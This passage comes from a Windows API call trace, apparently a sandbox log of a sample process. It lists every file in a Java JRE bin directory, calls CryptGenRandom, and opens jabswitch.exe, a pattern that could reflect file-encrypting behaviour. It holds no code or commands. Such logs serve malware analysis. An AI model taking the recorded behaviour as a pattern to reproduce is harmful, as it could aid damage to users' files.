hHeap=0x2ad0000) returned 1 [0124.718] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0124.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.718] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0124.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0124.719] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0124.719] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0124.719] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0124.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a5a8 | out: hHeap=0x2ad0000) returned 1 [0124.721] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0124.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0124.721] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0124.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.722] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0124.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.722] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0124.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.723] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0124.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.723] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fcb0, Size=0xe8) returned 0x33d11a0 [0124.723] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0124.723] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.724] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0124.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0124.724] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0124.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0124.725] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0124.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0124.725] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20 [0124.725] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.725] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20 [0124.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.726] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0124.726] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0124.726] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0124.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0124.727] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0124.727] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0124.728] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0124.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0124.728] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0124.728] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0124.728] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll")) returned 0x20 [0124.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.729] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d11a0, Size=0x120) returned 0x2c374c0 [0124.729] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0124.729] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.729] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 0x20 [0124.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.730] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0124.730] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.731] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0124.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.731] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2")) returned 0x10 [0124.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.731] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0124.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0124.732] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0124.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0124.733] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0124.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0124.733] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0124.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0124.734] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0124.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0124.734] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0124.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.734] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0124.735] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.735] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server")) returned 0x10 [0124.736] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.736] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0124.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.737] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0124.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0124.737] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0124.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.738] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0124.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0124.738] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0124.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0124.739] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0124.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0124.739] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0124.739] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.740] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0124.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0124.740] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0124.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.741] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0124.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0124.742] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\verify.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\verify.dll")) returned 0x20 [0124.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0124.742] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0124.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0124.742] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0124.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0124.743] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0124.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab28 | out: hHeap=0x2ad0000) returned 1 [0124.743] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\zip.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\zip.dll")) returned 0x20 [0124.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.743] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll", lpFilePart=0x9bada4*="awt.dll") returned 0x2e [0124.744] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll", lpFilePart=0x9bada4*="bci.dll") returned 0x2e [0124.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.744] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll", lpFilePart=0x9bada4*="dcpr.dll") returned 0x2f [0124.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.744] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll", lpFilePart=0x9bada4*="decora_sse.dll") returned 0x35 [0124.745] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll", lpFilePart=0x9bada4*="deploy.dll") returned 0x31 [0124.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.745] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll", lpFilePart=0x9bada4*="dt_shmem.dll") returned 0x33 [0124.745] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll", lpFilePart=0x9bada4*="dt_socket.dll") returned 0x34 [0124.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.745] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll", lpFilePart=0x9bada4*="eula.dll") returned 0x2f [0124.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.746] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll", lpFilePart=0x9bada4*="fontmanager.dll") returned 0x36 [0124.746] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll", lpFilePart=0x9bada4*="fxplugins.dll") returned 0x34 [0124.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.746] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll", lpFilePart=0x9bada4*="glass.dll") returned 0x30 [0124.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.746] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll", lpFilePart=0x9bada4*="glib-lite.dll") returned 0x34 [0124.746] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll", lpFilePart=0x9bada4*="gstreamer-lite.dll") returned 0x39 [0124.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0124.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.747] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll", lpFilePart=0x9bada4*="hprof.dll") returned 0x30 [0124.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.747] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll", lpFilePart=0x9bada4*="instrument.dll") returned 0x35 [0124.747] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll", lpFilePart=0x9bada4*="j2pcsc.dll") returned 0x31 [0124.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.747] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll", lpFilePart=0x9bada4*="j2pkcs11.dll") returned 0x33 [0124.748] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll", lpFilePart=0x9bada4*="jaas_nt.dll") returned 0x32 [0124.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.748] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe", lpFilePart=0x9bada4*="jabswitch.exe") returned 0x34 [0124.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0124.748] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7453105, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7453105, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8640)) returned 1 [0124.749] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662714 | out: pbBuffer=0x3662714) returned 1 [0124.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0124.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0124.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0124.749] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.749] GetFileType (hFile=0x39c) returned 0x1 [0124.749] GetFileType (hFile=0x39c) returned 0x1 [0124.750] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.750] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.750] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.750] FileTimeToLocalFileTime (in: 